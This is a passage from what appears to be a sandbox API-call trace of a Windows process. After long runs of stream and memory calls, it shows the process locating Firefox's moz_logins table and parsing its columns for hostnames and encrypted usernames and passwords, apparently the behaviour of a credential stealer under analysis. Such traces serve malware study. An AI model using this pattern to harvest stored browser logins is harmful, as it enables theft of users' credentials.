IStream:LockRegion (This=0x76e060, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:SetSize (This=0x76e060, libNewSize=0xef97f) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:SetSize (This=0x76e060, libNewSize=0xef97f) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:SetSize (This=0x76e060, libNewSize=0xef97f) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x20, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x38, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:SetSize (This=0x76e060, libNewSize=0xef97c) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x3c, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x28, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x64, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x64, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef923) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x65, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x67, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x69, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x6b, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef923) returned 0x0 [0048.093] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x7c0838 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x6c, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x6e, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x70, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x72, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x74, cb=0x0, dwLockType=0x0) returned 0x0 [0048.093] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.093] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x76, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x78, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x7a, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x7c, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:SetSize (This=0x76e060, libNewSize=0xef922) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x7e1a, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x7e1a, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x7e1b, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x7e1c, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.094] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0048.094] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76e0b0) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e060, libOffset=0x7e1d, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:SetSize (This=0x76e060, libNewSize=0x7d08c0) returned 0x0 [0048.094] IStream:Commit (This=0x76e0b0, grfCommitFlags=0x7d08c0) returned 0x0 [0048.094] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.094] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.094] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74fff8 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fff8) returned 0x0 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0048.095] LocalFree (hMem=0x74fff8) returned 0x0 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x746ad0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0x746ad0) returned 0x0 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fb78 [0048.095] LocalFree (hMem=0x746ad0) returned 0x0 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x746ad0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0x746ad0) returned 0x0 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fc18 [0048.095] LocalFree (hMem=0x746ad0) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8bf) returned 0x0 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74fcb8 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x242) returned 0x7d08c0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.095] IStream:LockRegion (This=0x76e0b0, libOffset=0x21, cb=0x0, dwLockType=0x0) returned 0x0 [0048.095] IStream:SetSize (This=0x76e0b0, libNewSize=0x7d08c0) returned 0x0 [0048.095] LocalAlloc (uFlags=0x40, uBytes=0x24a) returned 0x7d0b10 [0048.095] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.095] LocalFree (hMem=0x716ef8) returned 0x0 [0048.095] IUnknown:Release (This=0x76e0b0) returned 0x0 [0048.095] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0048.096] lstrcmpA (lpString1="table", lpString2="table") returned 0 [0048.096] StrStrIA (lpFirst="CREATE TABLE moz_logins (id INTEGER PRIMARY KEY,hostname TEXT NOT NULL,httpRealm TEXT,formSubmitURL TEXT,usernameField TEXT NOT NULL,passwordField TEXT NOT NULL,encryptedUsername TEXT NOT NULL,encryptedPassword TEXT NOT NULL,guid TEXT,encType INTEGER,timeCreated INTEGER,timeLastUsed INTEGER,timePasswordChanged INTEGER,timesUsed INTEGER)", lpSrch="(") returned="(id INTEGER PRIMARY KEY,hostname TEXT NOT NULL,httpRealm TEXT,formSubmitURL TEXT,usernameField TEXT NOT NULL,passwordField TEXT NOT NULL,encryptedUsername TEXT NOT NULL,encryptedPassword TEXT NOT NULL,guid TEXT,encType INTEGER,timeCreated INTEGER,timeLastUsed INTEGER,timePasswordChanged INTEGER,timesUsed INTEGER)" [0048.096] StrStrIA (lpFirst="id INTEGER PRIMARY KEY,hostname TEXT NOT NULL,httpRealm TEXT,formSubmitURL TEXT,usernameField TEXT NOT NULL,passwordField TEXT NOT NULL,encryptedUsername TEXT NOT NULL,encryptedPassword TEXT NOT NULL,guid TEXT,encType INTEGER,timeCreated INTEGER,timeLastUsed INTEGER,timePasswordChanged INTEGER,timesUsed INTEGER)", lpSrch=")") returned=")" [0048.096] lstrlenA (lpString="id INTEGER PRIMARY KEY") returned 22 [0048.096] StrStrIA (lpFirst="id INTEGER PRIMARY KEY", lpSrch=" ") returned=" INTEGER PRIMARY KEY" [0048.096] lstrlenA (lpString="id") returned 2 [0048.096] lstrcmpiA (lpString1="CONSTRAINT", lpString2="id") returned -1 [0048.096] lstrcmpiA (lpString1="PRIMARY", lpString2="id") returned 1 [0048.096] lstrcmpiA (lpString1="UNIQUE", lpString2="id") returned 1 [0048.096] lstrcmpiA (lpString1="CHECK", lpString2="id") returned -1 [0048.096] lstrcmpiA (lpString1="FOREIGN", lpString2="id") returned -1 [0048.096] lstrlenA (lpString="id") returned 2 [0048.096] lstrcmpiA (lpString1="id", lpString2="hostname") returned 1 [0048.096] lstrcmpiA (lpString1="id", lpString2="encryptedPassword") returned 1 [0048.096] lstrcmpiA (lpString1="id", lpString2="encryptedUsername") returned 1 [0048.096] lstrlenA (lpString="hostname TEXT NOT NULL") returned 22 [0048.096] StrStrIA (lpFirst="hostname TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0048.096] lstrlenA (lpString="hostname") returned 8 [0048.096] lstrcmpiA (lpString1="CONSTRAINT", lpString2="hostname") returned -1 [0048.096] lstrcmpiA (lpString1="PRIMARY", lpString2="hostname") returned 1 [0048.096] lstrcmpiA (lpString1="UNIQUE", lpString2="hostname") returned 1 [0048.096] lstrcmpiA (lpString1="CHECK", lpString2="hostname") returned -1 [0048.096] lstrcmpiA (lpString1="FOREIGN", lpString2="hostname") returned -1 [0048.096] lstrlenA (lpString="hostname") returned 8 [0048.096] lstrcmpiA (lpString1="hostname", lpString2="hostname") returned 0 [0048.096] lstrcmpiA (lpString1="hostname", lpString2="encryptedPassword") returned 1 [0048.096] lstrcmpiA (lpString1="hostname", lpString2="encryptedUsername") returned 1 [0048.096] lstrlenA (lpString="httpRealm TEXT") returned 14 [0048.096] StrStrIA (lpFirst="httpRealm TEXT", lpSrch=" ") returned=" TEXT" [0048.096] lstrlenA (lpString="httpRealm") returned 9 [0048.096] lstrcmpiA (lpString1="CONSTRAINT", lpString2="httpRealm") returned -1 [0048.096] lstrcmpiA (lpString1="PRIMARY", lpString2="httpRealm") returned 1 [0048.096] lstrcmpiA (lpString1="UNIQUE", lpString2="httpRealm") returned 1 [0048.096] lstrcmpiA (lpString1="CHECK", lpString2="httpRealm") returned -1 [0048.096] lstrcmpiA (lpString1="FOREIGN", lpString2="httpRealm") returned -1 [0048.096] lstrlenA (lpString="httpRealm") returned 9 [0048.096] lstrcmpiA (lpString1="httpRealm", lpString2="hostname") returned 1 [0048.096] lstrcmpiA (lpString1="httpRealm", lpString2="encryptedPassword") returned 1 [0048.096] lstrcmpiA (lpString1="httpRealm", lpString2="encryptedUsername") returned 1 [0048.096] lstrlenA (lpString="formSubmitURL TEXT") returned 18 [0048.096] StrStrIA (lpFirst="formSubmitURL TEXT", lpSrch=" ") returned=" TEXT" [0048.096] lstrlenA (lpString="formSubmitURL") returned 13 [0048.096] lstrcmpiA (lpString1="CONSTRAINT", lpString2="formSubmitURL") returned -1 [0048.096] lstrcmpiA (lpString1="PRIMARY", lpString2="formSubmitURL") returned 1 [0048.096] lstrcmpiA (lpString1="UNIQUE", lpString2="formSubmitURL") returned 1 [0048.096] lstrcmpiA (lpString1="CHECK", lpString2="formSubmitURL") returned -1 [0048.096] lstrcmpiA (lpString1="FOREIGN", lpString2="formSubmitURL") returned -1 [0048.096] lstrlenA (lpString="formSubmitURL") returned 13 [0048.096] lstrcmpiA (lpString1="formSubmitURL", lpString2="hostname") returned -1 [0048.097] lstrcmpiA (lpString1="formSubmitURL", lpString2="encryptedPassword") returned 1 [0048.097] lstrcmpiA (lpString1="formSubmitURL", lpString2="encryptedUsername") returned 1 [0048.097] lstrlenA (lpString="usernameField TEXT NOT NULL") returned 27 [0048.097] StrStrIA (lpFirst="usernameField TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0048.097] lstrlenA (lpString="usernameField") returned 13 [0048.097] lstrcmpiA (lpString1="CONSTRAINT", lpString2="usernameField") returned -1 [0048.097] lstrcmpiA (lpString1="PRIMARY", lpString2="usernameField") returned -1 [0048.097] lstrcmpiA (lpString1="UNIQUE", lpString2="usernameField") returned -1 [0048.097] lstrcmpiA (lpString1="CHECK", lpString2="usernameField") returned -1 [0048.097] lstrcmpiA (lpString1="FOREIGN", lpString2="usernameField") returned -1 [0048.097] lstrlenA (lpString="usernameField") returned 13 [0048.097] lstrcmpiA (lpString1="usernameField", lpString2="hostname") returned 1 [0048.097] lstrcmpiA (lpString1="usernameField", lpString2="encryptedPassword") returned 1 [0048.097] lstrcmpiA (lpString1="usernameField", lpString2="encryptedUsername") returned 1 [0048.097] lstrlenA (lpString="passwordField TEXT NOT NULL") returned 27 [0048.097] StrStrIA (lpFirst="passwordField TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0048.097] lstrlenA (lpString="passwordField") returned 13 [0048.097] lstrcmpiA (lpString1="CONSTRAINT", lpString2="passwordField") returned -1 [0048.097] lstrcmpiA (lpString1="PRIMARY", lpString2="passwordField") returned 1 [0048.097] lstrcmpiA (lpString1="UNIQUE", lpString2="passwordField") returned 1 [0048.097] lstrcmpiA (lpString1="CHECK", lpString2="passwordField") returned -1 [0048.097] lstrcmpiA (lpString1="FOREIGN", lpString2="passwordField") returned -1 [0048.097] lstrlenA (lpString="passwordField") returned 13 [0048.097] lstrcmpiA (lpString1="passwordField", lpString2="hostname") returned 1 [0048.097] lstrcmpiA (lpString1="passwordField", lpString2="encryptedPassword") returned 1 [0048.097] lstrcmpiA (lpString1="passwordField", lpString2="encryptedUsername") returned 1 [0048.097] lstrlenA (lpString="encryptedUsername TEXT NOT NULL") returned 31 [0048.097] StrStrIA (lpFirst="encryptedUsername TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0048.097] lstrlenA (lpString="encryptedUsername") returned 17 [0048.097] lstrcmpiA (lpString1="CONSTRAINT", lpString2="encryptedUsername") returned -1 [0048.097] lstrcmpiA (lpString1="PRIMARY", lpString2="encryptedUsername") returned 1 [0048.097] lstrcmpiA (lpString1="UNIQUE", lpString2="encryptedUsername") returned 1 [0048.097] lstrcmpiA (lpString1="CHECK", lpString2="encryptedUsername") returned -1 [0048.097] lstrcmpiA (lpString1="FOREIGN", lpString2="encryptedUsername") returned 1 [0048.097] lstrlenA (lpString="encryptedUsername") returned 17 [0048.097] lstrcmpiA (lpString1="encryptedUsername", lpString2="hostname") returned -1 [0048.097] lstrcmpiA (lpString1="encryptedUsername", lpString2="encryptedPassword") returned 1 [0048.097] lstrcmpiA (lpString1="encryptedUsername", lpString2="encryptedUsername") returned 0 [0048.097] lstrlenA (lpString="encryptedPassword TEXT NOT NULL") returned 31 [0048.097] StrStrIA (lpFirst="encryptedPassword TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0048.097] lstrlenA (lpString="encryptedPassword") returned 17 [0048.097] lstrcmpiA (lpString1="CONSTRAINT", lpString2="encryptedPassword") returned -1 [0048.097] lstrcmpiA (lpString1="PRIMARY", lpString2="encryptedPassword") returned 1 [0048.097] lstrcmpiA (lpString1="UNIQUE", lpString2="encryptedPassword") returned 1 [0048.097] lstrcmpiA (lpString1="CHECK", lpString2="encryptedPassword") returned -1 [0048.097] lstrcmpiA (lpString1="FOREIGN", lpString2="encryptedPassword") returned 1 [0048.097] lstrlenA (lpString="encryptedPassword") returned 17 [0048.097] lstrcmpiA (lpString1="encryptedPassword", lpString2="hostname") returned -1 [0048.097] lstrcmpiA (lpString1="encryptedPassword", lpString2="encryptedPassword") returned 0 [0048.097] lstrcmpiA (lpString1="encryptedPassword", lpString2="encryptedUsername") returned -1 [0048.097] lstrlenA (lpString="guid TEXT") returned 9 [0048.097] StrStrIA (lpFirst="guid TEXT", lpSrch=" ") returned=" TEXT" [0048.097] lstrlenA (lpString="guid") returned 4 [0048.098] lstrcmpiA (lpString1="CONSTRAINT", lpString2="guid") returned -1 [0048.098] lstrcmpiA (lpString1="PRIMARY", lpString2="guid") returned 1 [0048.098] lstrcmpiA (lpString1="UNIQUE", lpString2="guid") returned 1 [0048.098] lstrcmpiA (lpString1="CHECK", lpString2="guid") returned -1 [0048.098] lstrcmpiA (lpString1="FOREIGN", lpString2="guid") returned -1 [0048.098] lstrlenA (lpString="guid") returned 4 [0048.098] lstrcmpiA (lpString1="guid", lpString2="hostname") returned -1 [0048.098] lstrcmpiA (lpString1="guid", lpString2="encryptedPassword") returned 1 [0048.098] lstrcmpiA (lpString1="guid", lpString2="encryptedUsername") returned 1 [0048.098] lstrlenA (lpString="encType INTEGER") returned 15 [0048.098] StrStrIA (lpFirst="encType INTEGER", lpSrch=" ") returned=" INTEGER" [0048.098] lstrlenA (lpString="encType") returned 7 [0048.098] lstrcmpiA (lpString1="CONSTRAINT", lpString2="encType") returned -1 [0048.098] lstrcmpiA (lpString1="PRIMARY", lpString2="encType") returned 1 [0048.098] lstrcmpiA (lpString1="UNIQUE", lpString2="encType") returned 1 [0048.098] lstrcmpiA (lpString1="CHECK", lpString2="encType") returned -1 [0048.098] lstrcmpiA (lpString1="FOREIGN", lpString2="encType") returned 1 [0048.098] lstrlenA (lpString="encType") returned 7 [0048.098] lstrcmpiA (lpString1="encType", lpString2="hostname") returned -1 [0048.098] lstrcmpiA (lpString1="encType", lpString2="encryptedPassword") returned 1 [0048.098] lstrcmpiA (lpString1="encType", lpString2="encryptedUsername") returned 1 [0048.098] lstrlenA (lpString="timeCreated INTEGER") returned 19 [0048.098] StrStrIA (lpFirst="timeCreated INTEGER", lpSrch=" ") returned=" INTEGER" [0048.098] lstrlenA (lpString="timeCreated") returned 11 [0048.098] lstrcmpiA (lpString1="CONSTRAINT", lpString2="timeCreated") returned -1 [0048.098] lstrcmpiA (lpString1="PRIMARY", lpString2="timeCreated") returned -1 [0048.098] lstrcmpiA (lpString1="UNIQUE", lpString2="timeCreated") returned 1 [0048.098] lstrcmpiA (lpString1="CHECK", lpString2="timeCreated") returned -1 [0048.098] lstrcmpiA (lpString1="FOREIGN", lpString2="timeCreated") returned -1 [0048.098] lstrlenA (lpString="timeCreated") returned 11 [0048.098] lstrcmpiA (lpString1="timeCreated", lpString2="hostname") returned 1 [0048.098] lstrcmpiA (lpString1="timeCreated", lpString2="encryptedPassword") returned 1 [0048.098] lstrcmpiA (lpString1="timeCreated", lpString2="encryptedUsername") returned 1 [0048.098] lstrlenA (lpString="timeLastUsed INTEGER") returned 20 [0048.098] StrStrIA (lpFirst="timeLastUsed INTEGER", lpSrch=" ") returned=" INTEGER" [0048.098] lstrlenA (lpString="timeLastUsed") returned 12 [0048.098] 